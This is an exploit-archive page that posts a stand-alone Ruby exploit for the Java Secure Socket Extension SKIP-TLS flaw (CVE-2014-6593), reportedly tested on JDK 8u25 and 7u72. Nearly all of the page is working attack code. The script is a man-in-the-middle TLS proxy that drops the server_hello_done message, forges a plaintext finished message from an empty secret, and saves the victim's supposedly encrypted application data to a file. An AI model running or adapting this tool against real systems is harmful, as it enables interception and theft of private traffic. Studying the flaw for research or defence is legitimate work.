Twenty Year Anniversary

Java Secure Socket Extension (JSSE) SKIP-TLS

Java Secure Socket Extension (JSSE) SKIP-TLS
Posted Nov 6, 2015
Authored by Ramon de C Valle

Java Secure Socket Extension (JSSE) SKIP-TLS exploit that has been tested on JDK 8u25 and 7u72. This is a stand-alone ruby exploit and does not require Metasploit.

tags | exploit, java
advisories | CVE-2014-6593
MD5 | 67a97ff13fef641743175656e610fabf

Java Secure Socket Extension (JSSE) SKIP-TLS

Change Mirror Download
#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.

require 'openssl'
require 'optparse'
require 'socket'

Version = [0, 0, 1]
Release = nil

def prf(secret, label, seed)
if secret.empty?
s1 = s2 = ''
else
length = ((secret.length * 1.0) / 2).ceil
s1 = secret[0..(length - 1)]
s2 = secret[(length - 1)..(secret.length - 1)]
end

hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)

hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed)

result = ''
[hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') }
result
end

def prf_sha256(secret, label, seed)
hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed)
end

class String
def hexdump(stream=$stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf('%08x ', i)

0.upto(15) do |j|
stream.printf(' ') if j == 8

if i + j >= bytesize
stream.printf(' ')
else
stream.printf('%02x ', getbyte(i + j))
end
end

stream.printf(' ')

0.upto(15) do |j|
if i + j >= bytesize
stream.printf(' ')
else
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf('%c', getbyte(i + j))
else
stream.printf('.')
end
end
end

stream.printf("\n")
end
end
end

options = {}

OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host"

parser.separator('')
parser.separator('Options:')

parser.on('-H', '--local-host HOST', 'Local host') do |host|
options[:local_host] = host
end

parser.on('-P', '--local-port PORT', 'Local port') do |port|
options[:local_port] = port
end

parser.on('-d', '--debug', 'Debug mode') do
options[:debug] = true
end

parser.on('-h', '--help', 'Show this message') do
puts parser
exit
end

parser.on('-o', '--output FILE', 'Output file') do |file|
options[:file] = File.new(file, 'w+b')
end

parser.on('-p', '--port PORT', 'Port') do |port|
options[:port] = port
end

parser.on('-v', '--verbose', 'Verbose mode') do
options[:verbose] = true
end

parser.on('--version', 'Show version') do
puts parser.ver
exit
end
end.parse!

local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false

proxy = TCPServer.new(local_host, local_port)
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose

loop do
Thread.start(proxy.accept) do |client|
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

finished_sent = false
handshake_messages = ''
version = ''

context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE

tcp_socket = TCPSocket.new(host, port)
ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
ssl_server.connect

puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose

server = TCPSocket.new(host, port)

puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

loop do
readable, = IO.select([client, server])

readable.each do |r|
if r == ssl_server
# ssl_server is an SSL socket; read application data directly
header = ''
fragment = r.readpartial(4096)
fragment.hexdump($stderr) if debug
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
else
header = r.read(5)
raise EOFError if header.nil?
header.hexdump($stderr) if debug
puts '%d bytes received' % [header.bytesize] if debug || verbose

fragment = r.read(header[3, 2].unpack('n')[0])
fragment.hexdump($stderr) if debug
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
end

if finished_sent
if file
# Save application data
file.write(fragment)
file.flush
file.fsync
end
elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done
# Drop the server hello done message and send the finished
# message in plaintext.
if header[2, 1] == "\x03"
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
verify_data = verify_data[0, 12]
else
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
verify_data = verify_data[0, 12]
end

finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
record = header[0, 3] + [finished.length].pack('n') + finished

count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

finished_sent = true

# Change to the SSL socket
server.close
server = ssl_server

# Save version used in the handshake
version = header[2, 1]

next
else
# Save handshake messages
handshake_messages << fragment
end

case r
when client
if finished_sent
# server is an SSL socket
count = server.write(fragment)
server.flush
fragment.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
else
# server isn't an SSL socket
record = header + fragment
count = server.write(record)
server.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end

when ssl_server
# client isn't an SSL socket; add the record layer header with
# the same version used in the handshake.
header = "\x17\x03#{version}" + [fragment.length].pack('n')
record = header + fragment
count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

when server
record = header + fragment
count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end
end
end

client.close
server.close
end
end

proxy.close

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    8 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close